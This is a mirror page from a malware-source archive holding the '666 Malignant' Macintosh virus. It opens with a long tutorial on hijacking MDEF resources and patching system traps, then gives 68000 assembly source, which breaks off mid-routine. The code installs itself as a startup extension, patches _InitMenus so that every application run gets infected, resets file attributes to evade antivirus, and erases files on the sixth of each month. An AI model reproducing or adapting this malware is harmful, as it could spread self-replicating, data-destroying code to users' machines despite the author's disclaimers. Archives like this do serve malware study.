13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-28 09:52:32 +00:00
vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.malign.asm
2021-01-12 17:49:21 -06:00

1303 lines
72 KiB
NASM

*****************************************************
* The 666 Malignant virus, version 1.1, by J.S.Bach *
*****************************************************
(This file is specifically formatted for use with the DOS viewer. if you want
to acquire the correct file, download it from the XTAR section from the
corresponding project.)
*************************************************************************
WARNING!!!!! THIS IS A MALIGNANT VIRUS. ON EVERY SIXTH OF THE MONTH, IT WILL
ATTEMPT TO ERASE ALL DOCUMENTS ON THE DEFAULT DRIVE!!! BE VERY CAREFUL WITH
IT. IN PARTICULAR, THE AUTHOR IS NOT RESPONSIBLE IF YOU SCREW UP YOUR DRIVE
WHILE EXPERIMENTING WITH IT. IT MAY ALSO DAMAGE YOUR DRIVE, SINCE IT MAY
ERASE INVISIBLE FILES AS WELL. THE AUTHOR IS NOT RESPONSIBLE IF YOU RELEASE
THIS VIRUS. IN PARTICULAR, YOU CAN BE HELD LIABLE FOR DAMAGES AND/OR
CRIMINALLY CHARGED IF YOU CAUSE DAMAGE TO ANOTHER COMPUTER USING THIS VIRUS.
YOU HAVE BEEN WARNED! THE AUTHOR IS CLEAR OF ANY RESPONSIBILITY HAS NOT, NOR
DOES HE PLAN TO RELEASE THIS VIRUS!!!!!
*************************************************************************
To compile the projects on this article, you will need the MPW package from
Apple computer. The URL is:<http://developer.apple.com/dev/tools/tools.shtml>
you can download MacsBug from there as well if you don't have it. WARNING:
you will also need some form of AV to track the virus. If you try to run the
virus without an AV, you are in for surprises!
INTRODUCTION
The 666 virus is a meticulous study on the latest Operating System (8.x) and
constitutes adequate proof that a successful system 8.x virus can still be
written on the Macintosh. In view of one of my previous articles, re the type
of code that new viruses must be written on, i have chosen to write this one
in 68000 asm, to make it backward and forward compatible. Many of you that
have seen my project PROTOTYPE.sea, may wonder why i have written this one in
asm. Well, no matter how good the THINK Pascal compiler is, it still has its
limitations. Most of the limitations i encountered were the difficulty of
predicting at run time the size of the virus dynamically. Well, the time has
come for a "real" asm virus. So here you have it. This virus has not been
tested fully on the older systems, namely from 6.0.7 up to but not including
8.x. I created it in 8.0, but there is no reason why it should not run on
older systems down to 6.0.7 for sure-maybe older, or on newer 8.1 and 8.2
systems. With that out of the way, let me remind you something else VERY
crucial: DO NOT RELEASE THIS VIRUS INTO THE WILD! I will bare no
responsibility if you do! You will be liable to criminal penalties if you
release it. You have been warned! Ok, that having been said, now we are ready
to analyze this virus and its behaviour.
PRELIMINARIES
As you well know if you know anything about mac programming, resources and
resource files are a very crucial part of the macintosh system. I will try to
present the basic ideas behind their operation on this article, but please
don't expect to be spoon fed. If you don't have the book "Inside Macintosh",
you will be losing much needed info. So, let us start. Any macintosh file has
two "forks" or segments, called respectivelly the "data" fork, and the
"resource" fork. You can think of the two forks of a file as basically a
double file access buffer, with each buffer accessing a different part of the
file. The data fork is where random data can get stored, and you access it,
with usual file operations depending on what your offset into the data is.
The resource fork though, is much more complicated. The macintosh "Resource
Manager" (the part of the OS that manages resource forks) deals with the
resource fork of a file in very specific ways. In particular, direct access
to a resource fork is not generally allowed, except in very special
circumstances. The way the RM (Resource Manager) deals with that fork, is
through a predefined set of toolbox routines, which manipulate resource data
for you. You can think of the resource fork of a file as a specialized data
base, in which you can add, remove or change data through the RM routines. I
will refer you to the Inside Macintosh volumes "Macintosh Toolbox Essentials"
and "More Macintosh Toolbox", the Resource Manager. The RM, creates an
internal data storage format for every resource fork of every file you
access, that contains various elements such as a resource map (map to the
resource fork data) and offsets to your resource data. Usually, this data is
completely invisible to the user as he/she doesn't need to worry about it.
The user can manipulate the data in the resource fork through a set of
predefined routines, which fetch the data, ready for you. The data that go
into the resource fork, thus, are called "resources". With ResEdit or
Resourcerer, open a file and see internally what kind of resources it
contains, for example. Resources have "types" and "id"s. Types are the means
of identification between different resources, and ids are the means of
identification between same resources. For example a resource 'DRVR' with
id=2387 is different from a resource 'DRVR' with id=5341. The reason for the
existence of resources, is simple. Macintosh programs need to have data that
will be easily localizable in a special form accessible to non-programmers.
Thus, all menus, windows, controls, and text, can be stored in a proprietary
format that's easy to deal with when one localizes the application. Ideally,
a Localizer, should alter only the program's resources, and the program
should run fine after that. Well, even code in old 680x0 machines was stored
in 'CODE' resources, but now things have changed.
NOTES ON THE PROPRIETARY CODE FORMATS ON THE OLD MACS AND NEW POWERMACS
The old Macs had a 600x0 Motorola processor and the code of the programs was
itself a resource (of type 'CODE') and was stored in the resource fork of the
program file. Many viruses were written till 1992-94 approximatelly when the
new PowerPC RISC chip was introduced with the new PowerMacs. The old 'CODE'
resource format was easy to manipulate (see my examples on Codebreakers #2
e-zine, or the project with the four viruses T4, CODE 32767, and the old MDEF
and WDEF viruses). The virus grabbed the CODE resource it wanted and altered
some entry and exit points, and appended itself either to the end of an
existing 'CODE' resource, or forced the entry point code ('CODE'=0) to call
the virus first. The new PowerPC chip has to deal with existing applications
though, so some way to execute 680x0 code had to be provided free of charge.
The people at Apple provided an emulation mechanism, built in the chip
itself. The emulator of the PowerPC chips is equivallen to a LC68020
processor with no floating point capabilities, since the PowerPC chip has
internal floating point itself natively. Thus, any PowerPC chip, can execute
up to 68020 code, successfully. A new question now arrises, that of the
format of the new application code. Unfortunatelly, Apple puts the code for
the PowerPC chip on the data fork, in a "container" called "fragment". The
processor reads some vital information from some resources, (namely 'cfrg')
and then jumps into the data fork. If an application has no 'CODE' resources,
it is called "native" to the PowerPC chip, and can only be run off the newer
chips. But an application can contain BOTH 'CODE' resources AND fragments in
the data fork. Then, the application will execute either code, depending on
which platform it is run. If it tries to run on a 680x0 machine, the
fragments are ignored and the 680x0 chip loads the 'CODE' resources and
executes them. If the application is run on a PowerMac, the loader looks for
'cfrg' resources, and if it finds one, it loads the fragments in the data
fork, ignoring the 'CODE' resources. Such an application is called "fat". To
summarize: we can have 1) a 680x0 'CODE' resource only application, 2) a code
fragment only application (called native to the PowerPC) and 3) a fat
application containing both. The rest of the resources in the application are
treated in exactly the same way. For example, the trap GetMenu(32) will fetch
a handle to a 'MENU' resource, regardless of where it comes from, whether
from code fragment code, or from a 680x0 'CODE' resource. (More on Handles
later). The problem that virus writters now face is obvious. While most of
the older viruses were successful in infecting 'CODE' resources, the newer
applications, (either the fat ones or the native ones) are going to be immune
to the virus. Well, the virus may still modify 'CODE' resources on a fat
application, but what's the point? Those resources will never get executed,
since if they run on a PowerPC machine, the loader ignores them. If they get
execyted on a 680x0, we are fine though. But what's the use? We are losing a
great percentage of the population this way. In actual estimates, 45% of the
macs are PowerMacs, and the percentage is growing fast, as Apple will
eventually dump the 680x0 scheme altogether. Support for them has already
gone off the deep end anyway. What can we do then? We can write our code in
PowerPC code! Yeah, and miss the already existing 55% of the older macs. No
way out? Well, the solution is definatelly 680x0 code, but executed in such a
way as to not interfere with the applications' code, whether it is a native
or a fat or a 680x0 application. We could in principle create a "fat" virus,
which would contain dual code and execute either one upon command. But why do
that since we have a wonderful emulator-the built in emulator of the PowerPC
chip in our hands? So the only viable solution to our dire need seems
resources of bypassable code, such as MDEFs, WDEFs and CDEFs. Thus, we can
hope to infect ANY kind of application, on ANY kind of mac, by carefully
utilizing those bypass resources. We then have the best of both worlds! Let's
see why:
THE MDEF RESOURCE
The resource that interest us in this case is the 'MDEF' resource, as it is
vital for the virus' survival. The reason why this is the case, is because
the RM has a very nice characteristic, which any carefully designed virus can
utilize to cause its own spreading. This characteristic is: Suppose you have
a file that contains the resource 'abcd' of id=x. When you open this file
internally, the RM loads that resource in memory. But suppose you have a
second file that also contains a resource 'abcd' of id=x. The RM loads the
second resource into memory and BYPASSES the old one!. That is, the second
instance of that same resource becomes active. This means that if i request
'what is a resource abcd=x' the RM will fetch the second instance. This is
trully wonderful!. Why? Because if a virus IS a (different in content) MDEF
resource than one that already exists with the same type and id, it will
bypass the old one and activate! Programs use this characteristic to draw
specialized menus, windows and controls. For example: The System file
contains a 'MDEF' resource of id=0 which is a Menu DEFinition function,
responsible for drawing any menu by default. So any program doesn't have to
worry about drawing its menus explicitly. BUT! if a program wants to draw a
special menu, say one with lots of pictures in it, or characteristics that
the regular MDEF does not provide (actually the system MDEF can draw pictures
inside menus but let's leave that alone) then all it has to do is include in
its resource fork a 'MDEF' resource. This MDEF will be just the compiled code
for the definition function that draws that specialized menu. The program
also needs to specify that this MDEF, say of id=78, is used when the Menu
manager draws the program menus. The way to do that, is to specify somewhere
in a 'MENU' resource the id of that included 'MDEF' (I will be using MENU
instead of 'MENU' from now on). To see that, open any application and edit it
with ResEdit. Open one of its MENU resources, and select from the 'MENU'
Menu, 'Edit MENU & Menu ID...'. You will see the id of the MDEF that's used
for that menu when the program executes. If you see 0, the menu manager uses
MDEF=0 to draw that menu. If you see any other id, the menu manager uses a
MDEF=that id to draw the menu. Wonderful. So why so much attention paid to
MDEFs? Well, you have guessed already that the virus will BE a MDEF. But, you
will ask, "isn't a MDEF just code for drawing a menu"? Well, the answer to
that is, "it MIGHT be..." Or better yet, "it should EVENTUALLY draw a menu".
That "eventually" is the key to the virus. We can write a MDEF that is NOT
code for drawing a menu, rather it is a virus, and when it finishes
executing, it can call indirectly the good old MDEF=0, i.e. the one that's
responsible for drawing anyway. In order for the Menu manager to call then
our virus, all we have to do is place it inside any file and change the MDEF
id of some MENU resource in that file to OUR id, so that the menu manager
uses the virus to "draw" the menu. Good. Now let's look at another basic
principle of the Mac OS, handles.
POINTERS AND HANDLES
On most machines out there, you are familiar with the notion of a 'pointer'
which is nothing more than a variable that holds the address of some data.
Pointers on the macintosh are implemented using pretty much the same
principle, except that the block that holds the data the pointer points to,
CAN NEVER MOVE in memory. The net result of this, is that if one allocates
many pointers (and the blocks that they point to), memory becomes fragmented.
That is, you may have large blocks of data scattered throughout the heap,
which have empty space between them, and in fact that space may be large, but
if you try to allocate another block, you may be unable to, because the empty
space is fragmented. It is very possible to have 10 megs of free space
between the blocks you have allocated, but you may be unable to allocate even
2megs, because the largest 'gap' between already allocated blocks may be less
than 2 megs. For example, suppose the gaps are 1, 1.3, 0.5, 0.7, etc. You get
a sum of 3.5 megs total empty space, but you are unable to allocate anything
more than 1.3megs. You get the idea. The way this problem is solved, is
through 'handles'. Handles are pointers to pointers. When a user requests a
block of memory, the Macintosh OS allocates (IF the user wants a handle) a
RELOCATABLE block of memory. How can a block be relocatable? Easy. The system
assigns a MASTER POINTER to the block in low heap. This block NEVER moves,
and holds always the address of the relocatable block. The system then
returns a Pointer to the Master pointer to the user. That is, the user gets a
pointer to the master pointer, called a handle. This handle simply holds the
address of the Master pointer. IF and WHEN the OS needs to move the block of
memory because of possible fragmentation-i.e. when the system COMPACTS the
heap, the OS updates the Master Pointer regarding the new address of the
block, but the user is free of the hassle, because he has a handle, which
ALWAYS points to the Master Pointer! Smart! Contrary to blocks that are
referred to through handles which are relocatable, blocks that are refered to
though regular pointers are IMMOVABLE. They can never move. That's why, most
Macintosh development takes place using LOTS of handles. Why the fuss with
handles? Because when you request a resource from a file, the resource
manager returns to you a resource Handle. Suppose you have the following
resource 'INTS' in one resource file: resource 'INTS', id=666 1 2 3 4 5 6
which has been declared in Pascal as: INTS=array[1..6] of integer;
INTSPtr=^INTS; INTSHandle=^INTSPtr;
var myINTSHandle:Handle; {generic handle}
You can add now this resource provided you have a valid memory handle on the
data. So essentially you would proceed as follows:
myINTSHandle:=NewHandle(SizeOf(INTS)); {allocate handle to block of 12 bytes}
HLock(myINTSHandle); {lock block so it doesn't move while we access}
INTSHandle(myINTSHandle)^^[1]:=1; INTSHandle(myINTSHandle)^^[2]:=2;
INTSHandle(myINTSHandle)^^[3]:=3; INTSHandle(myINTSHandle)^^[4]:=4;
INTSHandle(myINTSHandle)^^[5]:=5; INTSHandle(myINTSHandle)^^[6]:=6;
HUnLock(myINTSHandle); {unlock the memory so it is free to move again}
AddResource(myINTSHandle,'INTS',666,'my Integers');
if ResError<>noErr then DoError;
When you later request now this resource through the resource manager, you
call: myINTSHandle:=GetResource('INTS',666); In turn what this call does is
return to you a handle which can be pictured as follows:
<-------$AAB8:|$3450|<------
$3450:|1| | |
$3452:|2| (Master Pointer@$AAB8) |
$3454:|3| |
$3456:|4| |
$3458:|5| |
$345A:|6| myINTSHandle@$8762:|$AAB8|
Thus, in Pascal, you could get to the data in this case for example, by using
a dereference twice. So INTSHandle(myINTSHandle)^^[1]=1,
INTSHandle(myINTSHandle)^^[2]=2, etc. So now, all resource manager calls like
GetResource, Get1Resource, AddResource, etc, operate on handles. When a file
is opened, the resource manager allocates handles for all the resources that
are contained in the file. Thus the only thing we have to do is request one
to get access to the data. You have gotten the basic idea. With this out of
the way, we can proceed to analyze the general operating principles behind
the virus.
OPERATIONAL VIRUS PRINCIPLES-THE DOUBLE ACTION PRINCIPLE
Ok, suppose our infected file contains a viral MDEF=666, and one of the
file's MENU 'MDEF' id' has been changed to 666. This means that as soon as
the program starts executing, the Menu manager will try to draw the program's
menus, and in the process it will invoke our MDEF=666. Wonderful. Our virus
executes. What next? Well it should infect the System of course first! How
can this be done? One option would be to copy ourselves (as a MDEF=666 which
is running now) to the System file. Well, this is not such a good idea for
many reasons. The System file for one, is over 6megs in size and screwing
around with it while operating, is quite dangerous. In the best case, there
would be a tremendous delay re-writting the whole 6meg file when an infected
application executes. We don't want that. What else? We need to find a way to
activate the virus as long as the machine is operating. What if we write an
extension? Good idea. But what should this extension do? It should be able to
"install" a memory version of our virus, which will be kept alive until we
restart. How do we do that? With "trap patching" of course! If we patch a
suitable trap, then when ANY program calls this trap, the code in the trap
will force the program to be infected. For those of you who did not download
e-zine #2 from the codebreakers site, i will include the segment on trap
patching here, so you can have a complete understanding on the subject. Here
we go:
SYSTEM TRAPS AND TRAP PATCHING
As you know, the characteristsic look and feel of any Mac program is due
mainly to the extensive use of many System Traps that correspond to specific
routines in Inside Macintosh. For example, most of the procedures in IM
(Inside Macintosh) are actually routines that get executed when the processor
tries to execute an instruction of the form $Axxx. The 680x0 processor does
not recognize such instructions (as well as $Fxxx) and when it encounters
one, it generates an exception. An exception vector takes control and the
system calculates an address based on the number that follows the A digit.
The details are in IM. For example, the procedure call
"AddResource(theHandle,'CDEF',32,"myCDEF");" generates the following assembly
code:
00000008: 2F2E FFFC MOVE.L theHandle(A6),-(A7)
0000000C: 2F3C 4D44 4546 MOVE.L #$4D444546,-(A7); 'MDEF'
00000012: 3F3C 0020 MOVE.W #$0020,-(A7)
00000016: 486E FEFC PEA Name
0000001A: A9AB _AddResource
As you can see, the parameters are first pushed onto the stack
and then the trap $A9AB is executed. In reality, the trap is never executed.
It generates an exception that dispatches the PC onto some table
that contains the addresses of all the system routines.
The table looks something like this:
Trap # Routine Address
... ...
$A9AB $3501980 (routine address with index 171 of table)
$A9AC $9ACD0F0 (routine address with index 172 of table)
$A9AD $8709FFA (routine address with index 173 of table)
... ...
The System calculates the specifics of the dispatch based on
the binary representation of the trap:
$A9AB=1010100110101011
Bit 8 for example is the bit that charachterizes toolbox traps. The first 7
bits (from right) provide the index into the trap dispatch table. (Here
$AB=171). More details in Inside Macintosh. Now as you may have suspected, it
is obvious that ANY address can be installed in a specific trap dispach table
entry. For example, we don't have to have address $3501980 in entry 171. We
can install a different address, that corresponds to a different routine. But
because usually the functionality of the original needs to be preserved, we
need to be able to call the original routine as well. The way to do that is
called "Trap Patching". It is the process of installing a "patch" (head or
tail) to the actual routine's address. We can install something prior to
calling the original (called head patch) or something that post-processes the
original (tail patch). What follows is an example of how to write a routine
patch. For simplicity, I will use here the routine for
"DrawString(theStr:Str255)". The patch consists of two separate projects.
The actual patch code (an MPW asm file) and a THINK Pascal project that
creates an INIT that installs the new routine at startup.
File DrawStringPatch.a
STRING ASIS
INCLUDE 'SysEqu.a'
INCLUDE 'SysErr.a'
INCLUDE 'ToolEqu.a'
INCLUDE 'Traps.a'
SEG 'DrawStringPatch'
DrawStringPatch MAIN
Entry
BRA.S MyDrawString ;branch around next 4 bytes
OldDrawString
DC.L 0 ;original address is stored here!!
;what follows from here is the actual pre-processing code
MyDrawString
MOVEM.L A0-A4/D0-D7,-(SP) ;save registers
MOVE.W #4,-(SP) ;push integer 4 onto stack
_SysBeep ;sound the beeper
;end of pre-processing code
ExitPatch
MOVEM.L (SP)+,A0-A4/D0-D7 ;restore registers
MOVE.L OldDrawString,A0 ;get address of old DrawString
JMP (A0) ;jump to original DrawString Code
END
The build MPW commands to create the patch code segment:
asm -o DrawStringPatch.a.o DrawStringPatch.a
link DrawStringPatch.a.o -o PTCH.rsrc -t RSRC -c RSED -rt
'PTCH'=35 -ra DrawStringPatch=resSysHeap,resPreload,resLocked
File InstallDrawStringPatch.p
unit InstallAPatch;
interface
procedure Main;
implementation
const
_DrawString = $A884; {Trap number for DrawString routine}
type
PTCHHeader = record {look at the asm file}
BRAS: integer; {the first instruction is a BRA.S}
OriginalAddress: longint; {the place we store original address}
end;
PTCHHeaderPtr = ^PTCHHeader; {Master pointer}
PTCHHeaderHandle = ^PTCHHeaderPtr; {Handle}
procedure Main;
var
thePTCH: Handle;
begin
thePTCH := GetResource('PTCH', 35);{load the resource into mem}
if thePTCH <> nil then {if good handle}
begin
{Store OriginalAddress at header of resource. Look at asm file}
PTCHHeaderHandle(thePTCH)^^.OriginalAddress :=
NGetTrapAddress(_DrawString, ToolTrap);
{now set trap dispatch table address}
{to Entry Point of Patch (Entry))
NSetTrapAddress(Ord(thePTCH^), _DrawString, ToolTrap);
DetachResource(thePTCH); {detach from memory}
end;
end;
end.
Create the INIT with id=35 with the THINk Pascal project. After you assemble
the MPW asm file, open the code segment patch file with ResEdit and copy the
'PTCH' resource into the INIT which you created with the THINK Pascal
project. Then, put the INIT into your System folder. Be prepared for
thousands of beeps. OK, now for the analysis of what we have done: First the
MPW file. As you can see there are certain params for the assembler which you
should take for granted for now. The first instruction is a BRA.S
MyDrawString. This forces the PC to immediatelly go to label "MyDrawString".
Just to avoid hitting the actual address which is at "OldDrawString". So now,
we are in our space. We can do whatever we want. The original has not been
called yet and we have all the tools at our disposal. Here, we do something
simple, like sound the beeper. Next, after we are done with whatever we want
to do, we restore the regs, and load the original address from the place
where the Pascal INIT has put it at run time: At "OldDrawString". And finally
JMP to that location, which forces the original to be called. That's it. A
couple of things to note: We use a JMP and not a JSR. Can you tell why?
Because the original routine is responsible for returning to the caller of
the _DrawString trap. IF we wanted to do a tail-patch-i.e. if we wanted to
post-process the trap code, we would call JSR (A0) and the original routine
would return to us, first, we could then do post-processing and then return
to the caller! This is left as an exercise to the reader.
Continuing now our discussion on the 666 virus, we can create an Extension
file that will patch some trap and install our viral code into the system.
Which trap shall we patch? Well it depends on how many times we want our
virus to activate. I like simplicity, so i wanted the virus to activate ONE
time for every program run. Which trap gets used then only ONCE in any
macintosh application? Well, take a pick: Any mac program starts with the
following traps:
InitGraf(@thePort);
InitWindows;
InitMenus;
TEInit;
InitDialogs(nil);
So, the natural choice to pick would be some trap that has something to do
with menus. _InitMenus of course then is the likely candidate. We will patch
_InitMenus. By doing so, when any program starts, the moment it invokes this
trap, it will become infected, by virtue of our patched code that lies INSIDE
the trap itself which infects the file that has been run. Now you understand
the DOUBLE ACTION PRINCIPLE. It is the interplay between infected program and
the System. An infected program infects the system and an infected system
infects a running program. Without this principle, any virus is useless. Our
virus thus, will exhibit a dual behaviour, depending on whether it is running
from a program, or from the system. If it is running from a program, it just
needs to check the system and infect it if it is not infected. If it is
running from the system, it must become memory resident and infect any
running application. Ok, now that you have seen the general double principle
scheme, you will immediatelly recognize the two parts of the virus. Lets see
then the virus in its totality and start our analysis. You may want to print
out this manual so you can reference its various parts when you read the
analysis.
;***************************************************************
;WARNING!! THE AUTHOR IS NOT RESPONSIBLE FOR UNAUTHORIZED USE OF
;THIS PROGRAM. IN PARTICULAR, THE AUTHOR IS NOT RESPONSIBLE IF
;YOU TRY TO, OR RELEASE THE VIRUS. THE AUTHOR IS NOT RESPONSIBLE FROM
;CRASHES OR MISBEHAVIOUR CAUSED BY THIS PROGRAM IN ANY OPERATING
;SYSTEM. THIS PROGRAM IS PROVIDED AS A DEMONSTRATION VIRUS AND IS
;NOT INTENDED TO BE INSTALLED ON MACHINES THAT YOU HAVE NO CONTROL
;OVER. YOU HAVE BEEN WARNED: YOU ARE LIABLE TO CRIMINAL PENALTIES
;IF YOU RELEASE THIS VIRUS AND SPREAD IT IN EXECUTABLE FORM.
;WARNING!! THIS VIRUS WILL INFECT ANY OS FROM 6.0.7 UP TO 8.0,
;POSSIBLY 8.1 AS WELL. BE VERY CAREFULL WHEN YOU EXECUTE IT. IT
;WILL GRADUALLY INFECT ANY APPLICATION YOU RUN, AND MAY CAUSE
;CRASHES AND OTHER ILL BEHAVIOUR. IT WILL ALSO ERASE YOUR HARD DRIVE
;WHEN ITS TRIGGER DATE IS MET. YOU HAVE BEEN WARNED.
;***************************************************************
;666 VIRUS, VERSION 1.0, WRITTEN IN 68000 ASM USING MPW 3.3.1. IN
;PARTICULAR, YOU NEED MPW 3.3.1 OR HIGHER TO COMPILE THIS SOURCE.
;WRITTEN AND COMPLETED ON 13/5/98 BY J.S.BACH.
;***************************************************************
BLANKS ON
STRING ASIS
;include files for asm
INCLUDE 'SysEqu.a'
INCLUDE 'SysErr.a'
INCLUDE 'ToolEqu.a'
INCLUDE 'Traps.a'
INCLUDE 'Folders.a'
SEG '666' ;segment name
;***************************************************************
;System Variables
;***************************************************************
SystemMDEF EQU 0 ;offset of SystemMDEF var from Vars
Handle2Us EQU 4 ;offset of Handle2Us var from Vars
CurResFile EQU 8 ;offset of CurResFile var from Vars
ExtRefNum EQU 10 ;offset of ExtRefNum var from Vars
foundVRefNum EQU 12 ;offset of foundVRefNum from Vars
foundDirId EQU 14 ;offset of foundDirId var from Vars
INITRes EQU 18 ;offset of INITRes var from Vars
NewHandle EQU 22 ;offset of NewHandle var from Vars
bytes2copy EQU 26 ;offset of Bytes2Copy var from Vars
MENURes EQU 30 ;offset of MENURes var from Vars
ProcID EQU 6 ;offset into the 'MENU' resource handle
day EQU 4 ;offset into datetimerec
InitMenus EQU $A930 ;trap to patch
FileType EQU 32 ;offset to filetype into CInfoRec
;***************************************************************
;A4 always holds the address of our first var
;***************************************************************
MAIN
Entry
MOVEM.L A0-A4/D0-D7,-(SP) ;save registers
LEA Vars,A4 ;get globals address
CLR.W -(SP) ;room for refnum returned
_CurResFile ;return current resource file refnum
MOVE.W (SP)+,CurResFile(A4) ;put in storage
;***************************************************************
;first see if there is a 666 'INIT' resource in our file
;if there is, we are an INIT. If not, we are a MDEF
;***************************************************************
CLR.L -(SP) ;room for 'INIT' handle
MOVE.L #'INIT',-(SP) ;push resource type
MOVE.W #666,-(SP) ;push id=666
_Get1Resource ;load resource in mem
MOVE.L (SP)+,INITRes(A4) ;put handle in storage
BEQ.S MDEF ;if nil, run MDEF
;***************************************************************
;if we fall through, we are an INIT. So patch the _InitMenus trap
;***************************************************************
PatchInitMenus
MOVE.W #InitMenus,D0 ;trap number of _InitMenus in D0
_GetToolboxTrapAddress ;get its old trap number
LEA MyInitMenus,A1 ;address of patch in A1
MOVE.L A0,2(A1) ;stuff old address in patch header
MOVE.W #InitMenus,D0 ;trap number of _InitMenus in D0
LEA MyInitMenus,A0 ;load our address
_SetToolboxTrapAddress ;set to new address
MOVE.L INITRes(A4),-(SP) ;push handle to us
_DetachResource ;cause it to float and detach from file
ExitInit
MOVEM.L (SP)+,A0-A4/D0-D7 ;restore registers
RTS ;return to whoever called the INIT.
;***************************************************************
;The next code will be run if the virus gets executed from within
;an infected application.
;***************************************************************
;***************************************************************
;first get and store the address of our MDEF, i.e. ourselves
;and store it so we have a reference to ourselves.
;***************************************************************
MDEF
CLR.L -(SP) ;room for handle to MDEF resource
MOVE.L #'MDEF',-(SP) ;push MDEF type
MOVE.W #666,-(SP) ;push id=666
_GetResource ;get hold of our MDEF
MOVE.L (SP)+,Handle2Us(A4) ;put in Storage
;***************************************************************
;then get and store the address of the system MDEF=0
;if we don't have it already
;***************************************************************
CLR.W -(SP) ;refnum of system file (0)
_UseResFile ;use system res file
CLR.L -(SP) ;room for handle to MDEF=0 resource
MOVE.L #'MDEF',-(SP) ;push MDEF restype
CLR.W -(SP) ;push id=0
_Get1Resource ;get hold of it
MOVE.L (SP)+,SystemMDEF(A4) ;put in Storage
BNE.S CheckDate ;if non-nil, check date
_Debugger ;crash if we can't get a system MDEF!!!
;***************************************************************
;the following code will check if it is the virus's trigger date
;if it is, all hell breaks loose, and the virus starts deleting
;files. Be VERY careful with this virus.
;***************************************************************
CheckDate
MOVE.L Time,D0 ;get seconds since 1904
LEA DatTimeRec,A0 ;load address of DateTime record
_Secs2Date ;convert
CMP.W #6,day(A0) ;check day!
BNE.S InfectSys ;no trigger date, go to infect system
LEA HParamBlock,A0 ;parameter block
CLR.L ioNamePtr(A0) ;nil ionameptr
_GetVol ;get default volume
BNE ExitInfection ;exit on error
MOVE.W ioVRefNum(A0),-(SP) ;push vrefnum
MOVE.L #fsRtDirID,-(SP) ;push start directory
BSR EraseDrive ;hallelujah, brothers!!!!!
BRA ExitInfection ;job done, exit
;***************************************************************
;the following code infects the system. We create a "special"
;Extension that is put in the Extensions folder. When the computer
;restarts, this extension will infect the computer's memory
;***************************************************************
InfectSys
CLR.W ExtRefNum(A4) ;clear reference number of extension
;***************************************************************
;call FindFolder to get the vRefNum and DirId of the Extensions folder
;***************************************************************
CLR.W -(SP) ;room for error from FindFolder
MOVE.W #kOnSystemDisk,-(SP) ;on system disk
MOVE.L #kExtensionFolderType,-(SP) ;ExtensionsFolder
MOVE.B #kDontCreateFolder,-(SP) ;no new folder
PEA foundVRefNum(A4) ;address of returned vrefnum
PEA foundDirID(A4) ;address of returned dirid
_FindFolder ;get extensions folder
MOVE.W (SP)+,D0 ;copy error in D0
BNE CallOldMDEF ;exit on non-zero error code
;***************************************************************
;call MakeFSSpec to get a file specification to use for our new
;Extension file inside the EXtensions folder.
;***************************************************************
CLR.W -(SP) ;room for error from FSMakeFSSpec
MOVE.W foundVRefNum(A4),-(SP) ;push foundVRefNum
MOVE.L foundDirId(A4),-(SP) ;push foundDirId
PEA ExtensionName ;push name
PEA theSpec ;push address of theSpec
_FSMakeFSSpec ;make file Spec
MOVE.W (SP)+,D0 ;copy error but ignore
;***************************************************************
;call FSpCreateResFile to create a resource file (our Extension)
;so we can put our virus in it.
;***************************************************************
PEA theSpec ;push theSpec
MOVE.L #'666 ',-(SP) ;push creator of file
MOVE.L #'INIT',-(SP) ;push filetype of file
MOVE.W #0,-(SP) ;push Roman script code
_FSpCreateResFile ;try to create it
;***************************************************************
;now get FInfo information about this file we have just created.
;***************************************************************
CLR.W -(SP) ;room for error
PEA theSpec ;filespec
PEA Finfo ;push address for File info
_FSpGetFInfo ;get file info
MOVE.W (SP)+,D0 ;get error
BNE ExitInfection ;exit on error
;***************************************************************
;now we have the file info on record. The reason we need it, is
;if there is an antivirus running, it won't let us create such a file
;so we reset the file attributes if our call is successful this time
;***************************************************************
LEA FInfo,A0 ;load address of Finfo
MOVE.L #'INIT',fdType(A0) ;reset file type
MOVE.L #'666 ',fdCreator(A0) ;reset file creator
;***************************************************************
;now set back the info for the file.
;***************************************************************
CLR.W -(SP) ;room for error
PEA theSpec ;filespec
PEA Finfo ;push address for File info
_FSpSetFInfo ;get file info
MOVE.W (SP)+,D0 ;get error
BNE.S ExitInfection ;exit on error
;***************************************************************
;now we try to open the new file with a call to _FSpOpenResFile
;***************************************************************
CLR.W -(SP) ;clear stack for file refnum
PEA theSpec ;push theSpec
MOVE.B #fsWrPerm,-(SP) ;push write permission
_FSpOpenResFile ;open it
MOVE.W (SP)+,ExtRefNum(A4) ;pop and store refnum
MOVE.W ResErr,D0 ;check for error
BNE.S ExitInfection ;error, exit
;***************************************************************
;check if the new file contains our virus.
;***************************************************************
CLR.L -(SP) ;room for INIT handle
MOVE.L #'INIT',-(SP) ;push res type
MOVE.W #666,-(SP) ;push res id
_Get1Resource ;try to get resource
MOVE.L (SP)+,A0 ;put in A0
MOVE.L A0,D0 ;copy in D0
BNE.S ExitInfection ;if <>0 it exists, system is infected, exit
;***************************************************************
;add viral resourse to Extension if empty
;***************************************************************
MOVE.L Handle2Us(A4),-(SP) ;push ourselves
_DetachResource ;detach from resource file
MOVE.L Handle2Us(A4),-(SP) ;push handle
MOVE.L #'INIT',-(SP) ;push type
MOVE.W #666,-(SP) ;push id
PEA ExtensionName ;push name
_AddResource ;add resource into file
MOVE.W ResErr,D0 ;get error
BNE.S ExitInfection ;exit on error
;***************************************************************
;now set the attributes of the '666 ' resource
;***************************************************************
CLR.W -(SP) ;room for attrs
MOVE.L Handle2Us(A4),-(SP) ;push handle
_GetResAttrs ;get the attrs
MOVE.W (SP)+,D0 ;copy attrs in D0
BSET #ResSysHeap,D0 ;we want SysHeap
BSET #ResPreload,D0 ;we want ResPreload
BSET #ResLocked,D0 ;we want ResLocked
MOVE.L Handle2Us(A4),-(SP) ;push handle to resource
MOVE.W D0,-(SP) ;push new attributes
_SetResAttrs ;set new attributes
MOVE.W ResErr,D0 ;get error code
BNE.S ExitInfection ;exit on error
MOVE.L Handle2Us(A4),-(SP) ;push handle again
_ChangedResource ;change attributes
MOVE.W ResErr,D0 ;get error code, but ignore
;***************************************************************
;the following labe is where we branch if a resource error occurs
;***************************************************************
ExitInfection
MOVE.W ExtRefNum(A4),D0 ;get refnum
BEQ.S CallOldMDEF ;if =0, exit, no resfile opened
MOVE.W ExtRefNum(A4),-(SP) ;if we have one, push it
_CloseResFile ;close the file and update it
;***************************************************************
;the following is the branch to the system MDEF code
;***************************************************************
CallOldMDEF
MOVE.W CurResFile(A4),-(SP) ;push id of current resfile
